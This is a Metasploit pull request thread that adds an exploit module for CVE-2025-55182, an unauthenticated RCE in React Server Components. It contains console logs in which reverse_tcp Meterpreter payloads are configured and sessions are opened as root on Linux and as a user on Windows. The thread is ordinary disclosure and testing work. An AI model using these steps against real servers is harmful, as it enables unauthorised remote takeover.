Skip to content

Conversation

@vognik
Copy link
Contributor

@vognik vognik commented Dec 4, 2025

Vulnerability Details

A critical unauthenticated Remote Code Execution (RCE) vulnerability exists in React Server
Components (RSC) Flight protocol. The vulnerability allows attackers to achieve prototype
pollution during deserialization of RSC payloads by sending specially crafted multipart
requests with "proto", "constructor", or "prototype" as module names.

Module Information

Module path: modules/exploits/multi/http/http/react2shell_cve_2025_55182.rb
Platform: Linux/Unix/Windows

References

Test Output

msf6 > use multi/http/react2shell_cve_2025_55182
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(multi/http/react2shell_cve_2025_55182) > set RHOSTS 172.17.0.1
RHOSTS => 172.17.0.1
msf6 exploit(multi/http/react2shell_cve_2025_55182) > set RPORT 3000
RPORT => 3000
msf6 exploit(multi/http/react2shell_cve_2025_55182) > set LPORT 6666
LPORT => 6666
msf6 exploit(multi/http/react2shell_cve_2025_55182) > set FETCH_SRVPORT 8081
FETCH_SRVPORT => 8081
msf6 exploit(multi/http/react2shell_cve_2025_55182) > run
[*] Started reverse TCP handler on 172.17.0.1:6666 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Sending stage (3045380 bytes) to 172.17.0.2
[*] Meterpreter session 4 opened (172.17.0.1:6666 -> 172.17.0.2:59608) at 2025-12-05 01:12:48 -0500
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : 172.17.0.2
OS           :  (Linux 6.11.2-amd64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux

@vognik
Copy link
Contributor Author

vognik commented Dec 5, 2025

made a draft, i will write exploit

@vognik vognik changed the title Add CVE-2025-55182 / CVE-2025-66478 Scanner Add CVE-2025-55182 / CVE-2025-66478 Dec 5, 2025
Copy link
Contributor

@Chocapikk Chocapikk left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

You can randomize more

@vognik vognik marked this pull request as ready for review December 5, 2025 08:18
@jheysel-r7 jheysel-r7 self-assigned this Dec 8, 2025
@jheysel-r7 jheysel-r7 added the rn-modules release notes for new or majorly enhanced modules label Dec 8, 2025
Copy link
Contributor

@jheysel-r7 jheysel-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks for the great module as well as the detailed documentation on setting up a test environment, @vognik 🚀

Testing

Check method:

smsf exploit(multi/http/react2shell_unauth_rce_cve_2025_55102) > set rhosts 172.16.199.0/24
rhosts => 172.16.199.0/24
msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55102) > check
[*] 172.16.199.0:3000 - Cannot reliably check exploitability. 172.16.199.0:3000 - No response from web service
[*] 172.16.199.1:3000 - The target appears to be vulnerable.
[*] 172.16.199.2:3000 - Cannot reliably check exploitability. 172.16.199.2:3000 - No response from web service
[*] 172.16.199.3:3000 - Cannot reliably check exploitability. 172.16.199.3:3000 - No response from web service
^C[*] Caught interrupt from the console...

Linux

msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55102) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55102) > set rhosts 127.0.0.1
srhosts => 127.0.0.1
et msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55102) > set lhost 172.16.199.1
lhost => 172.16.199.1
msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55102) > set rport 3000
rport => 3000
run msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55102) > run
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Sending stage (3090404 bytes) to 172.16.199.1
[*] Meterpreter session 2 opened (172.16.199.1:4444 -> 172.16.199.1:56579) at 2025-12-08 12:18:19 -0800

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : 172.17.0.2
OS           :  (Linux 6.12.54-linuxkit)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >

Windows

msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55102) > show targets

Exploit targets:
=================

    Id  Name
    --  ----
=>  0   Unix Command
    1   Windows Command


msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55102) > set rhosts 172.16.199.141
rhosts => 172.16.199.141
msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55102) > set target 1
target => 1
set msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55102) > set payload cmd/windows/http/x64/meterpreter/reverse_tcp
payload => cmd/windows/http/x64/meterpreter/reverse_tcp
msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55102) > set fetch_command curl
fetch_command => CURL
msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55102) > run
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Sending stage (230982 bytes) to 172.16.199.141
[*] Meterpreter session 3 opened (172.16.199.1:4444 -> 172.16.199.141:50353) at 2025-12-08 12:59:16 -0800

meterpreter > getuid
Server username: DESKTOP-0OPTL76\msfuser
meterpreter > sysinfo
Computer        : DESKTOP-0OPTL76
OS              : Windows 10 22H2+ (10.0 Build 19045).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter >

@github-project-automation github-project-automation bot moved this from Todo to In Progress in Metasploit Kanban Dec 8, 2025
@jheysel-r7 jheysel-r7 merged commit 6627942 into rapid7:master Dec 8, 2025
19 checks passed
@github-project-automation github-project-automation bot moved this from In Progress to Done in Metasploit Kanban Dec 8, 2025
['URL', 'https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3']
],
'Platform' => ['multi'],
'Arch' => [ARCH_CMD],
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Would it make sense to default to a node based payload for the highest chance of success on arbitrary targets? 🤔

i.e. we won't know if the target has curl or wget - but I imagine it'll have node on the path by default? 👀

@smcintyre-r7
Copy link
Contributor

Release Notes

This adds an exploit for CVE-2025-55182 which is an unauthenticated RCE in React. This vulnerability has been referred to as React2Shell.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

docs module rn-modules release notes for new or majorly enhanced modules

Projects

Status: Done

Development

Successfully merging this pull request may close these issues.

7 participants